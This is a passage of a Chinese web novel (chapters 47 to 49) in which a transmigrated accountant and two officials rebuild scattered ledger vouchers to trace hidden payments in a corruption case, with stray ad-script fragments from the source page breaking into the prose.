那小丫头看起来是个胆小怕事的,可面对眼前五大三粗的男人时却丝毫不露怯,昂着头脆生生地回道:“易公子在里面小憩,他让你们滚远点别打扰他睡觉。” “你!”头领被这话激得跺脚,“无礼小儿,怎敢和我这样说话?” 对面的小女孩儿仍然不卑不亢道:“这是易公子的原话,我只是代为转述,若你有意见,进去说好了。” 说完,她还侧身给他在门前让出了一条道。 头领不知为何也不敢惹易见山,要是姜琰早就不信邪地冲进去查证了,可是头领一听到易见山的名字就好像霜打的茄子,也没有进去看一眼,反而悻悻带着人挪远了些,声音放低,不仔细听根本听不到。 守卫们认真聆听着头领点名,不敢走神,这就给了姜琰他们机会,正好户房的侧墙连着榆树的院子,只需要稍加谨慎,很快他们就躲过守卫爬墙爬到了户房的院子里。 姜琰小心翼翼地推开门,生怕被人发现,结果感觉耳边擦过一阵凉风,一回头看见沈瑜春大摇大摆地走了进来。 “不是说易见山在里面?” 沈瑜春莫名道:“谁说易见山在里面,或者易见山在里面又能将我们怎么样吗,别怕,这人就是一条恶犬而已。” 姜琰想到沈瑜春还没回答自己的问题,如今新的问题又增加了,于是她继续问道:“你还没跟我说你为什么讨厌易见山呢,还有刚才的小女孩儿是谁?” 沈瑜春握紧拳头一字一句道:“讨厌易见山是因为他喜欢阿姐,门口的小女孩是阿姐的侍女,易见山这条恶犬囚禁阿姐两三年,还让她代替易氏族人参加科举,败坏她的名声,若不是父亲和圣上不让,我早晚活剐了他!” 姜琰惊呼出声:“什么?易见山囚禁你姐?沈家主和圣上还劝你别杀他?” 好癫啊。 沈瑜春很显然不想再提起这件事了,手中飞速的翻阅账簿,在姜琰震惊的眼神中摊开账本道:“这页被撕了。” 姜琰闻言也赶紧扑灭了自己心中熊熊燃起的八卦欲,拿过账簿看了一眼,果然如他所说,在苏巍家搜到的这本账本里记录了他们所有人的往来流水,可偏偏就是没有最后的流向,他们背后果然还有一只更大的手在掌控一切,可惜现在什么也看不到了。 她问沈瑜春:“这个是什么时候撕的?” 沈瑜春摸了摸有些喇手的纸边:“应该是最近……” 最近? 她和沈瑜春面面相觑:“难道是辛景和?!” 47.第 47 章 姜琰觉得这个想法有点太荒谬了,随后笑着说道:“不可能,怎么可能是他?” 沈瑜春还是没说话,姜琰愣了一下:“他真有这么做的原因啊?” 沈瑜春迟疑着摇了摇头,原因不清楚,但这么来说辛景和确实嫌疑很大:“......不知道,但他今日确实有些反常,据我所知辛景和惧内,妻子管得严,从来不去歌楼这种风月场所。” 姜琰回想起刚才辛景和的种种行为,如果不是故意的,那是否也太巧了些,怎么就突然出现在二人藏身之处,还面不改色地把守卫支走了? 二人静立于室内沉思,一时都有些想不通,全然忘了他们现在正身处险境,还是沈瑜春看着门外来回走动地身影,意识到此地不宜久留,拉了一下姜琰的袖子道:“阿琰,走吧,这里太危险了。” 姜琰心想也是,打算和沈瑜春原路返回,刚才她已经把数据录入系统,二人回到屋内,姜琰将账册上关键的部分背写下来,一边写一边问:“所以大人你还是没有告诉我外面到底是谁的守卫?” 沈瑜春平淡地扫了一眼纸上的字,冷声道:“易家的人。” 姜琰写字的手一顿:“易家?易家的权力已经大到这个份上了?” 沈瑜春不屑道:“不过是皇家的一条狗而已,不至于说权力。” 姜琰忽然想到她最开始调查易家时,系统说易家人从开国开始便一直替皇家卖命,最开始是用贩私盐的钱供太祖打江山,后来太祖建立政权,易家便放弃了贩私盐的路子,勤勤恳恳地跟着皇室,几十年屹立不倒,原来除了出过几个入仕的族人以外,还干一些见不得人的事情啊? 姜琰八卦道:“是什么是什么?难道是锦衣卫?” 不对啊,南胤应该有锦衣卫吧? 沈瑜春摇摇头,原本应该犹豫的秘密却是不假思索地说了出来:“锦衣卫是摆在明面上的,而他寒蝉门则在暗处。” “朝菌不知晦朔,蟪蛄不知春秋。”她默默念下这句话。 沈瑜春挑眉道:“蟪蛄不知春秋......妙啊,易见山确实狂妄的不知天高地厚了。” 她又想到易见山那无法无天的样子,心中唏嘘:原来如此狂妄的人也只不过被赋予蝉的称号,生于夏初死于夏末,短短几十天的寿命,不知道易家人听到这个封号会怎么想。 姜琰将手上动作停下,放下笔道:“好了,就在这儿了。” 沈瑜春拿起来,越看眉头锁得越紧,姜琰心虚地看了他一眼。 沈瑜春皱着眉问道:“那上面真这样写的?” 姜琰点头如捣蒜:“真的真的!” ......是真的才怪,苏巍那个傻蛋怎么可能记录的那么详细,这份当然是她夹带私货把从系统里得来的立春堂收来的钱也加上去了,做了一份更全面的账,不然光查是肯定查不出来的。 沈瑜春将账本轻轻放到桌上:“看不出来苏巍还有点算学上的天赋。” “......是啊,可惜了。” 沈瑜春没有起疑心,而是接着思考剩下来的几个问题:“账面上一目了然,现在只需要把立春堂查封,然后再把卧底揪出来就可以了,至于幕后之人......” 姜琰一颗心倏然提了起来,她想听听沈瑜春是如何运筹帷幄掌握全局的,她将目光紧锁在他那漂亮的侧颜上,末了听沈瑜春来了一句:“太麻烦了,不查了。” “......” 室内安静得连一根针掉在地上都能听清,姜琰想了很久,最后歪着头来了一句:“啊?你再说一遍?” 沈瑜春懒懒散散道:“啊什么,不查了啊,麻烦。” 姜琰觉得自己耳朵出问题了:“不信。” 沈瑜春嗔道:“真的,我每天都很忙的,礼部举行大典和接见使臣要找我要钱,兵部打仗也要钱,工部修皇城也要找我,别的更别说了,满朝上下所有人都伸着手找我要钱,我不仅要解决他们的诉求,还要一笔一笔地认真查账,保证自己不掉脑袋的同时还要奉行圣上勤俭的良好美德,你觉得我忙完这些事还要再跟啄木鸟似的认真扒一下朝廷这颗参天大树上有没有蛀虫......你觉得我很闲吗?” 果然还是牛马最能共情牛马,姜琰一听脑袋都大了,财务真的是难得的一个领导比职员还忙的工作,这么一比姜琰简直觉得自己菜菜的很安心。 姜琰看着沈瑜春委屈得要哭出来了,连忙安慰他道:“好了好了,确实是,而且圣上都说了不着急查,咱赶紧把湖州这烂摊子摆平了收拾收拾回应天吧。” 沈瑜春叹了口气:“是啊,赶紧回应天吧,地方上这些人官官相护,势力错综复杂,稍有不慎连死都不知道怎么死的。” 姜琰看着账本,一股无力感涌上心头,只是可怜了这些老百姓,现在他们的这些欠款都不具有法律效力,说是填窟窿其实本质上只是为了平息民众怒火。朝廷完全可以不管他们的,等到时候如果纸包不住火有人造反直接杀了就可以了,反正这边人富裕惯了,温水煮青蛙造反也造不起来——那些富人吃饱了撑的安逸日不过陪着穷人造反,没准火还没烧到应天呢,本地的乡绅和官员就把这点火星浇灭了。 现在最好的办法就是赶紧把立春堂资产清算了得了,不过现在这事儿闹得满城风雨的,立春堂的人能不知道? 她问道:“立春堂的人还不知道苏巍他们落马的事情吗,这么大的事他们不应该如同惊弓之鸟一般树倒猢狲散吗,难道他们还老老实实待在这儿等着官府的人来抓他们?” 沈瑜春颇带深意地笑了一下:“想跑?那不可能。” 姜琰看他笑得神秘,调侃道:“你早就知道他们有问题吗?” 沈瑜春淡然一笑:“不知道。” “......”姜琰心道你也是整上黑色幽默了哈,一时语塞不知道怎么接他的话,却听沈瑜春解释道:“湖州一出事我就上奏朝廷让他们把湖州封了,目前湖州只能进不能出。” 姜琰心想这也不算保险,眉头皱起,在考虑这件事的风险。 沈瑜春见她心里犹豫,宽慰她道:“放心,目前还没有出过意外。” * 翌日,姜琰和沈瑜春一同打着哈欠从屋内出来,动作同步地连伺候他们洗漱的婢女都愣了一下,姜琰见她们好像有些误会了,笑呵呵地解释道:“嗬嗬,这个,嗯……你赶紧进来吧,是不是有点累了?” 伺候她洗漱的婢女点头也不是不点头也不是,最后红着脸迈着小碎步和她进了屋子,而沈瑜春则淡定许多,扫了一眼战战兢兢的婢女,挑眉道:“进来吧。” 屋内,婢女拿着热帕子仔细地擦拭着姜琰纤细白嫩的手指,看见姜琰依然是一脸疲态,心想面前的漂亮美人儿总是一副笑吟吟的样子,好像怎么也不会生气,于是大着胆子说道:“小姐可是晚上没睡好?” 姜琰点点头,有气无力道:“是啊,心里装着事,怎么也无法安睡。” 昨晚她和沈瑜春想了半天怎么将立春堂谭惠来绳之以法,但左思右想都没有想出来如何高效地在短期内查 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 封他们,于是选择了最直接粗暴的方式——直接上门找个理由把所有和苏、杨二人有联系的乡绅富商一同查封,总能找到一个漏网之鱼。 姜琰一开始还以为沈瑜春在开玩笑,没想到他当即就把姜琰推出房间,抻着双手打了个哈欠道:“就这么愉快的决定了,今日我也有些乏了,你也赶紧回去睡吧。” 站在门外的姜琰:……?我请问呢? 姜琰一脸懵逼的站在院子里不解地看着紧闭的门窗,不一会儿屋内的灯也灭了,姜琰挠挠头:不是,沈瑜春这是怎么了,怎么自从户房回来就跟被夺了舍一样? 她在回去的路上百思不得其解,却终于在躺在床上那一刻明白了,温暖的衾被盖在她的身上,香炉中升起一缕青烟,味道很像汁水四溢的梨子,她躺在如此香甜的环境,似乎明白了沈瑜春为什么不着急了——工作嘛,要那么着急干什么? 她在心里称赞道还得是沈瑜春,已经摸清了职场的套路,这些日子以来她总是紧绷着一根弦,感觉背后那人无孔不入,生活中充满各种古怪离奇的事情,但刚才看到沈瑜春那超绝松弛感,自己也放松了不少——沈瑜春可是朝廷三品官诶,天塌下来有他们顶着呢,女娲补天的石头掉下来是砸不到自己哒。 于是她难得睡了一个好觉。 想着想着姜琰突然笑了一下,正起身向外走的婢女突然听到身后一阵桀桀的笑音,忽的毛骨悚然了起来,神情诡异地看了一眼身后,见刚才还温婉大方的女子正痴笑着,再想想刚才门口那位面若罗煞的俊美男子,忍不住颤栗了一下:一屋子怪鸟,赶紧跑吧。 姜琰不知为何刚才有些害羞的婢女突然慌张地跑出去了,以为是有点急事,也没想太多,站起身活动了一下筋骨,准备等会儿要干的事情,他们在昨晚已经想了一个差不多的“罪名”了,就是说出来有点勉强而已。 她将头高高束起,带上玉冠,再穿上金镂花白衫长袍,又活脱脱是一个唇红齿白的小公子了,她蹦蹦跳跳地出门,见沈瑜春已经备好马了,还奇怪道:“你今天怎么骑马了?” 南胤的文官一般都是坐轿或者坐车出行,很少有官员自己骑马的,不过沈瑜春身材高大面容俊朗,此时一袭红衣骑马立于门前,倒真有几分当年意气风发探花郎的风姿。 沈瑜春解释道:“没有车了,只能骑马了,你会骑吗?” 姜琰看了一眼他身旁的小白马,觉得这马应该挺温顺的,她自己虽然只在去草原的时候骑过马,但问题应该不大,于是胸有成竹道:“会的会的,我这就上来了!” 她哪里能想到今时不同往日,她在草原上骑的马那都是被驯化了N代才能留下来的温和基因,现在的马还是有点野性的,于是她刚踩上脚蹬,身下的马就撩起了前蹄,她差点被掘上天。 沈瑜春连忙示意身旁的马夫让马跪在地上把姜琰放下来。 姜琰看着沈瑜春,对方正骑着马昂首挺胸,居高临下地睥睨着她,她突然有些不爽:“你骑马去吧,我去了用处也不大。” 沈瑜春骑着马走过来几步,弯下腰把手伸到她的面前:“上来,我们一起去。” 姜琰撅着嘴,赌气道:“不想去了。” 沈瑜春没说话,也没伸出手,沉默了半晌,笃定道:“撒娇。” 姜琰脸一下子红了:“我没……再说了,我现在一副男子扮相,和你骑一个马,你让人家怎么想?” 沈瑜春无谓道:“别人怎么想和我有什么关系,你就是你,无论你是男子还是女子,我都只要你。” 48.第 48 章 姜琰被他炽热的眼神看得脸颊发烫,慌张扫了一眼周围有没有人看着他们,发现周围的人寥寥无几,这才放心的把手放在他的手心,沈瑜春顺势将她抱在了马背上。 她的身体在马背上被颠得一起一伏的,后背贴着沈瑜春□□的前胸,耳畔有凉风吹过,可她还是觉得好热——这个姿势有点太奇怪了吧。 沈瑜春低头睨了一眼怀中的人,见她脖子处的红晕好似一团烧云一般弥漫至耳根和脸颊,心脏也在砰砰地跳着。 沈瑜春问道:“阿琰,你是不是不会骑马?” 姜琰“唔”了一声:“会一点,但没有你骑得那么好啦。” 沈瑜春“嗯”了一声,看着姜琰咬牙忍着颠簸感带来的闷哼声,轻声提醒她道:“你可以稍微抬高一点上半身。” 姜琰闻言将屁股抬起来了一点,但因为没有力气,大腿处很酸,没一会儿又跌坐在马背上,沈瑜春见她忍得辛苦,轻轻将手放在她的腰上,然后把她提上来了一点:“这样。” 姜琰只感觉自己腰窝处温温热热的,他的手掌烘烤着自己腰上的一小块肌肤,她随着马儿在大街上闲适的向前走去,好像江上泛泛行舟,无边无际,无忧无虑。 或许是身后的沈瑜春给了她一点可以依靠的感觉,姜琰并没有先前那么忐忑不安,慢悠悠地到达立春堂后,发现谭惠来他们已经在门外候着了。 谭惠来的神色很平静,当沈瑜春下马时,他只是略显谦和地躬身打了声招呼:“沈大人。” 沈瑜春并没有和他客气,面无波澜地嗯了一声权当知道了,紧接着步入正题:“你应该知道我们是来干什么的,是你主动交代,还是我们进去看看。” 谭惠来意外的实诚:“事到如今,再瞒着也没有意义了,谭某干了这么多年生意,自然是知道常在河边走哪有不湿鞋的道理,现在事情败露,大人要抓我,我也认了。” 姜琰看着面前的男人,四十而已,穿着朴素,倒不像是大富大贵之人,眼睛经常眯着,看起来谦逊到卑微,她实在想不出来这样的人是怎么一步步从弑兄到将立春堂做大做强的。 沈瑜春道:“既然如此,那就让我们先进去吧。” 谭惠来点点头,一副逆来顺受的模样,让姜琰觉得诡异,于是趁着他们转身的功夫,姜琰及时拉住沈瑜春,问道:“你提前给他们消息了?” 不然谭惠来怎么一副认命的模样? 沈瑜春道:“对,已经提前派辛景和通知他们了,坦白从宽,抗拒从严。” 一听到“辛景和”三个字,姜琰好像想起了什么,扫了一眼周围的人,疑惑压眉,低声道:“说起辛大人......他今天怎么没来?” 今天在场的人有户房的,有府衙的甚至还有连几位主事们都来了,辛景和作为一个自身的吃瓜爱好者外加户部的第三重要人物,没理由不来啊? 沈瑜春眼神中闪过一丝惊讶:“他没来?我以为他来了。” 姜琰又认真看了周围的一群人,还是没找到辛景和,转头对上沈瑜春询问的眼光,皱着眉摇了摇头。 沈瑜春无声地叹了口气,眼见着前面的人已经进入立春堂里面了,他连忙拽了下她的手:“明让的事情,我会派人去查,现在先把他们解决了再说。” * 姜琰跟着他们穿过曲折连廊,来到一座小院子里,一条长桌横在院内小小的溪流之上,桌上是香茗,身旁是古树,如果他们今天不是来抓他的,这别致秀丽的小院还挺适合三五好友促膝长谈的。 可是,姜琰坐在软垫上想,他他爹的他们不是来抓他的吗! 沈瑜春意识到不对,拒绝入座:“谭老爷,我们今天是来......” 谭惠来大手一挥,浑不在意:“我知道,你们知道了我杀了我兄长,想将我捉拿归案。” 姜琰隐隐约约觉得有哪里不对劲。 沈瑜春道:“确实,但我们为什么要在这里谈?” 谭惠来也有点懵:“......我也想知道你们为什么来找我,按理来说不应该是衙役把我押回府衙吗,张大人、李大人,你们户房的人来干什么?” ??? 这话一出,不仅是姜琰如闻霹雳,在场所有人都被雷了个外焦里嫩,好家伙,那这半天他们在说什么?俩人搁这儿夸频交流呢? 沈瑜春眉头微微一皱,但很快眉间的躁意便如春风化雨一般消散,好,谭惠来想装大尾巴狼是吧,他沈瑜春也不是吃素的:“如此”,沈瑜春笑吟吟地说道,“我正想问为什么他们府衙的人来这儿呢,原来是来干这事的,是本官想多了,正好他们在这儿,那就一并押了吧。” 未料刚才还一副认命模样的谭惠来突然梗着脖子不肯走了,大着胆子抗拒着衙役的推搡:“等等!” 沈瑜春挑眉:“?你还有什么事吗?” 谭惠来冷哼一声,不屑道:“要我走也可以,那你们户部的人来干什么?” 沈瑜春觉得好笑:“当然是来查封你家。” 谭惠来却道:“查封?凭什么,你们有何证据证明我所犯之事和你们户部有关系?” 姜琰瞬间汗流浃背了起来:说来惭愧,其实他们来,是没有文书和查封令的。 谭惠来弑兄,是由刑部管着的,府衙将其捉拿归案那是丝毫没有毛病的,可跟他户部有什么关系,现在唯一的证据还锁在户房里呢,他们总不可能明晃晃地拿着假文书说来来来看看我们刚从府衙里偷出来的证据你和官员勾结贪钱吧。 沈瑜春没说话,静静听着谭微来唾沫横飞地控诉道:“我立春堂成立至今虽然偶尔会犯点小错,但每次我们不都及时改正了?人无完人嘛……只是我实在不知道今天您们这样兴师动众的是为了什么?总不可能我真得罪了你们这些财神爷吧。” 姜琰心想这人还真是死鸭子嘴硬,都这样了还不肯把背后的主子供出来,这是到底是什么权势滔天之人啊。 沈瑜春倏然捏紧了拳头。 不过没事,谭惠来再怎么叫嚣也是将死之人,根本不成困扰,沈瑜春执着道:“让开。” 谭惠来两手叉腰往院里一站,誓死不肯让步:“我说了,你无凭无据的凭什么查我?有本事你们就现在杀了我,让湖州百姓都看看朝廷命官是怎么办事的!” 姜琰拉了拉沈瑜春的袖子,后者微微偏头,听身后人劝道:“大人,要不我看就算了吧,咱们平白无故地来这儿打一晃,又没证据,这不是白给人送话柄吗。” 沈瑜春还是像中了邪一样,完全不顾往日的理智沉稳,反而多了些乖张的情绪:“我说了,我今天还就要查这立春堂了!” 话毕,他示意衙役们上前将谭惠来押下去,自己带着户房的人进入检查。 “这……” 衙役们听到这声命令时并没有上前,甚至连户房的主事们也有些犹豫要不要继续留在这里,眼神里尽是为难。 沈瑜春见他们都不动,挑眉道:“怎么,连本官的命令你们也不听吗?” 衙役们互相对视着交流信息,一群人面露难色,过了半晌,有个人大着胆子出来说道:“沈大人,不是小的不办,今天莫大人不在,他不命令我们,我们也不好行事啊?” 姜琰挑眉,这人的意思其实很清楚了,沈瑜春不是他们的直属上司,就算官位再高也命令不动他们,他们只听莫山岳的。 沈瑜春听到这儿,大概是明白自己使唤不动他们了,气急道:“好、好……来人!” 姜琰心道哪有人,来哪的人啊,这不都在这儿了,难道……? 果不其然,沈瑜春一声令下,数十道黑影便咻咻咻的从身后院子四方的墙内蹿出。 靠!沈家亲卫!沈瑜春疯了吧! 姜琰觉得沈瑜春 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 绝对是上班上傻了,谁说上班能预防老年痴呆的,明明越上班越痴呆好吧,你看沈瑜春连脑子都不转了。 如果不是现在人太多,她真想把沈瑜春脑子里的水晃出来:大傻春,你在干什么!你的千思百虑,运筹帷幄呢!怎么可以这么粗暴的就把人家的资产都查封了啊! 姜琰都不敢想沈瑜春这件事被上面知道了以后会面临什么处罚。 然而这边衙役们见沈家亲卫已经站在了对面,心里止不住的骂爹:“真服了,这下上也不行,下也不行了。” 本来沈瑜春如果不搬出来沈家亲卫,那么这些衙役们大可以不管不顾一走了之,可现在沈家亲卫拿着刀要冲进去查东西,站在了他们的对立面,他们身为衙役就必须要上去阻拦,否则就是不作为。 可……沈家亲卫是他们能打的过的吗? 十几名衙役咬紧牙关:算了,拼了,死了还是有功的,现在跑那可是当了逃兵了。 他们握着手里的剑就要往上砍,姜琰没想到他们还挺有责任心的,她心道这下可完蛋了,刚要大喊着阻拦他们之时,只听远处马鸣悠扬,黄沙滚滚,朦胧的后方出现一个矮小的剪影——那是莫山岳来了。 莫山岳自己带了一小队人,一凑近就看到双方僵持不下,两家都好像关了很久的狗一样闻着血味儿就目眦欲裂地等着把对方咬碎,他心道还好自己来的及时,不然真打起来他这官也别做了,趁着双方都一脸懵逼的时候赶紧下马,好言相劝道:“哎呀呀,这是干什么啊!你们要打能不能出去打,见血了不还是我收拾,你们能不能去隔壁扬州打,那边的同知是我的政敌,你们去那边打吧!” 姜琰听他噼里啪啦大气都不喘一下地说完这段话,心想还真是莫山岳出场才能有如此炸裂的效果,她看了一眼沈家亲卫和衙役,很好,效果立竿见影。 沈瑜春差点骂出声:“……你来干什么!” 莫山岳哼了一声:“我不来,我不来难道还要看你用沈家亲卫屠杀我手下吗,不是我说你沈大人,你都是户部侍郎了还这么拎不清啊,要不你这官别做了,让我来做,我莫家还没出过穿红袍的官嘞……” 沈瑜春实在不想听他扯些有的没的,打断道:“那就赶紧让我进去。” 莫山岳接着和他唱反调:“凭什么?你有什么公文吗?” 沈瑜春不说话,莫山岳撇了下嘴:“没有你就往边上稍稍,等我处理,你哐哐哐地把沈家亲卫搬出来,我且问你你和你们家亲卫的九族同意了吗?” 站在他们身旁的姜琰:爽!还得是莫山岳这张嘴啊。 沈瑜春瞬间蔫了下来,几名衙役脸上充满了幸灾乐祸,莫山岳看着他们的神情,更加不爽道:“诶诶诶,看什么看,叫你们来干嘛的忘了?” 衙役们也不说话了,莫山岳骂道:“说啊!来干什么来了!” 衙役们挠挠头:“大人叫我们来……抓谭惠来。” 莫山岳点头:“所以呢,抓到了没?!” 衙役们:“……没。” 莫山岳气得牙痒痒,指着他们破口大骂道:“那还不赶紧抓了关到狱中,等着人跑了你们就美了是吧!” 衙役们囫囵瞅了一眼莫山岳,立刻上前去把谭惠来押起来,还没反应过来的谭惠来:“……啊?” 莫山岳本来上班就烦,见谭惠来又不老实,嚷嚷道:“你啊屁啊,滚滚滚,赶紧给我滚到大牢里去!” 谭惠来懵懵懂懂地被推走了,人还没走到大门呢,就听见不远处的莫山岳点头哈腰地对着沈瑜春嗔道:“哎呀你要看和我打声招呼不就好了,没文书的话有什么关系?整个湖州,我是老大!我现在就把门打开哈……” 远处,谭惠来反应了一下,随后发现自己被人摆了一道,跳脚道:“我日你……唔唔唔唔!” 只是话还没说完,就被衙役们捂着嘴关进牢车里了。 49.第 49 章 谭惠来的骂声渐行渐远了。 姜琰有些看不懂二人葫芦里卖的什么药,于是趁着莫山岳推门进入里屋的时候拉着沈瑜春问道:“这是你们计划好的?” 沈瑜春一向对她是有问必答的,可现在却神秘地眨了一下右眼,笑着道:“你猜。” 姜琰傻了。 她觉得沈瑜春一定被夺舍了,怎么最近这几天不仅鬼话连篇行为还这么诡异,一定有阴谋! “喏,就是这儿了。” 莫山岳拿着一大串钥匙试了个遍,终于打开了书房,一推开门,便看见里面白纸满天飞,什么花瓶、玉碟碎片散落一地,满地狼藉,一看就是被人偷家了。 莫山岳惊呼道:“我的老天爷,这是怎么回事啊?” 沈瑜春推门而入,见到室内的场景,语气不自觉加重:“你没派人看着这里吗?” 莫山岳却道:“?你还好意思问我?不是你说不要打草惊蛇的吗,这么多天我除了派人在暗中盯着他们以外,从来没有在立春堂内部安排人看着,但我可以打包票,这段时间绝对没有闲杂人等进出立春堂,而且立春堂自从得知苏巍被捕以后,就再也没有挂牌开张过。” “那这可真是奇了怪了,”姜琰喃喃道,“难道是谭惠来自己这么做的,不过为什么?” 莫山岳无奈道:“为什么?大概是身后之人势力过于庞大,他不好供出来,只能销毁证据以求自保。” 至于幕后之人是谁,不知道,但是也查不了。 三人面对这满地狼藉都无可奈何,束手无措了许久,还是姜琰先说道:"先看看有没有什么有用的信息吧。" 沈瑜春点头,将两个宽大的袖子往上一撸,露出肌肉线条流畅的小臂,半跪在地上收拾了起来。 姜琰看着白花花的凭证,又想到了某年年底外审时,打印机往外吐着凭证,白花花的铺了一桌子,她一个人两天整理了六百笔凭证。 其实这和在公司没什么区别,她安慰自己,不就是先标号,找出没有号的或者序号断了的凭证,然后按顺序插进去嘛,而且这一地大概也只有几百笔嘛......哈哈,不活啦! 姜琰一脸绝望地蹲在地上整理起了凭证,莫山岳不是这个专业的,只能一头雾水地问道:“你们这是在干什么?” 姜琰指了指地上的凭证:"如你所见,在收拾烂摊子。" 莫山岳闻言也撸起了袖子:“如此,我也来帮忙吧。”,但捡起了两张纸之后,还是呆呆愣愣地问道,“所以,我应该怎么收拾?” 姜琰和沈瑜春相视一笑:“你看看前后数字有没有可以连起来的,这样就是一笔交易,然后按日期排好。” 莫山岳老老实实地照做了,不得不说三个人的速度确实很快,大概两柱香之后,姜琰他们已经把账本的残骸整理的差不多了。 姜琰看着这账本一筹莫展:“这……应该怎么看啊?” 沈瑜春盯着手里稍微一松开就掉页的册子,思忖道::“好问题,我也想知道。” 她看着手里凭证,强迫自己冷静下来:如果是以前遇到这种情况情况自己会怎么办? 丢页漏页、附件不全的凭证自己是怎么都找回来的? 她似乎又回到了那个闷热烦躁的午后,不断催促的领导、快要晚点驶向家乡的火车,自己是怎么应付外审的? 她突然想到了自己手里的财务系统。 系统好久没给她颁布任务了,这是为什么? 她将系统找了出来:“系统,你还在吗?” 系统依旧反应灵敏,只是连姜琰都听出了它语气里的倦怠:“怎么了宿主?” 许久没听到这么“亲切”的声音了,姜琰一时间还有点不好意思麻烦它:“我的财务系统已经激活了是吧。” 系统懒洋洋道:【是的】 “那我应该有立春堂的权限吧,我要看它的凭证。” 系统依旧冷冰冰地拒绝:【抱歉……您没有……】 姜琰快速打断它:“我知道,我没有权限对吧。” 系统难得迟疑地回道:【……对。】 姜琰清了清嗓子,为接下来要说的话做准备,此时系统突然有一种不好的预感。 姜琰循循善诱道:“立春堂其实就是原来的三明堂对不对?” 系统:【是。】 “那三明堂原来是我娘的,现在我继承了我娘的产业,三明堂应该就是我的了对不对?” 系统好像知道姜琰要说什么了,连忙让她打住:【……是,可是三明堂到立春堂股权已经变更了,你不再是立春堂股份的直接持有者……】 系统说到这儿,突然卡壳了。 姜琰会心一笑:“我不是直接持有者有什么关系呢,我只要能间接持有它的大部分股权,我依然是它的股东,这依然是我名下的产业,是我的二级子公司,我就有查看它的权限!” 【……】 系统沉默了。 大概系统也会觉得可能是自己今天出门没看黄历的原因,恨不得扇自己两巴掌:你说你惹她干什么? 这下好了,系统运行了一下,觉得这个逻辑没问题,直接说道:【立春堂权限已开启。】 姜琰兴奋地摩拳擦掌道:“快来让我看看谭惠来隐藏了什么!” 姜琰打开“凭证查询”的功能,翻开手里的凭这发现,将上面的业务内容、业务单据类型和金额传了上去,发现有的能找到,有的不能找到,于是她找了借口将账本从沈瑜春手中拿过,按照系统的凭证附件一笔笔整理起来,还美名其曰道:“你看这笔,上面写了付账五十两,用于支付采茶工人工钱,它后面就应该放一个支付工人薪水的具体明细,你看你后面这笔就放错了,应该在这儿……” 她从后面把那张明细抽了出来放到那页纸的后面,留下一脸懵逼的沈瑜春和莫山岳。 沈瑜春还好,毕竟他和姜琰共事多日,已经习惯了姜琰这些稀奇古怪的想法,而莫山岳刚和她接触,话都没说过两句呢,听到她这种解决方式,稍稍把沈瑜春拉到一边咬耳朵道:“……姜姑娘她一直都是这样的吗?” 他这话问得委 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 婉,可沈瑜春一下子听出了弦外之音:“她没病。” “……”莫山岳还是有些不放心,“可我好歹也学过算学,为什么她的方法和我学得完全不一样?” 沈瑜春挑眉:“你没学过?” 莫山岳觉得他这话问的莫名其妙:“没有啊,你学过?” 沈瑜春笑笑:“……没有。” 莫山岳嗐了一声,瞪着他说道:“你不觉得奇怪?” 沈瑜春不以为意:“这有什么奇怪的,能解决好事情不就行了,你问这么多干嘛?” 莫山岳觉得他这样子蛮稀奇:“呦,怎么现在这么开明了,你以前那股子较真劲儿去哪了?” 沈瑜春抿着嘴不说话,因为他知道莫山岳会说什么:“看来还真是长大了,当年你的策论先生问你,两国交兵,若我方只有一百老弱妇孺,你应当怎么办,当时你是怎么回答的?” 沈瑜春不耐地瞪了他一眼,想要岔开话题:“赶紧去帮帮她吧,不然等会儿弄不完了……” “诶诶诶!”莫山岳连忙拦住他,非要唤醒他死去的回忆,“不知道是谁说的,‘若只有老弱妇孺,我愿意长跪于城外,请求他们绕道而行’。” 沈瑜春俊脸一红,咬着牙道:“难道不应该这么做吗,我至今也不知道这样做为什么不对。” 莫山岳看似赞同,实业阴阳怪气道:“对对对,你这人就是死心眼,你明明可以给他们演一出空城计,还非要跪在地上睁着你那双清澈愚蠢的大眼睛告诉他们不要打里面,里面都是手足寸铁的老人小孩儿,万一对面是坏的呢?” 沈瑜春明显不开心了,俊颜紧绷,但又不知道该怎么反驳他,只能反唇相讥:“哼,你以为你的注意很好?‘假装投降打开城门然后让这些手无寸铁的人怀里装着火药去炸人家的军营’,这么馊的注意也就只有你能想的出来,结果怎么样,回家挨巴掌了吧。” 莫山岳笑不出来了,沈瑜春回想起当初在私塾上学,他因为心眼实被先生骂不争气,而莫山岳则是因为每次都出一堆“毒计”而让老师头疼不已,甚至还找双家长谈话,说此子不宜入仕,否则天下大乱。 可最后,二人互相看了一眼,都做官做的好好的嘛。 莫山岳见沈瑜春是诚心护着姜琰,也不好再说什么,反而心里踏实了许多,帮着姜琰整理起来,又过了两柱香之后,凭证终于整理的差不多了,大概从一到九百多号都能够顺下来,只有两笔交易除了第一张的凭证封皮以外,业务单据和附件都没有,这两张凭证上面写着:付楼晴五万两,付楼晴九万两。 后面什么附件都没有了。 姜琰身子一僵,转过头去看沈瑜春,发现他的脸色更加苍白。 她问道:“你知道这个楼晴是谁?” 沈瑜春点点头,但是没有接着说话,甚至连莫山岳也一脸为难,双眸瞠大,眼里充满不可置信。 姜琰看着二人一脸便秘的模样,怒道:“快说啊!怎么了!” 过了好久,沈瑜春才脸色苍白地说道:“这楼晴,是杨呈一的正妻。”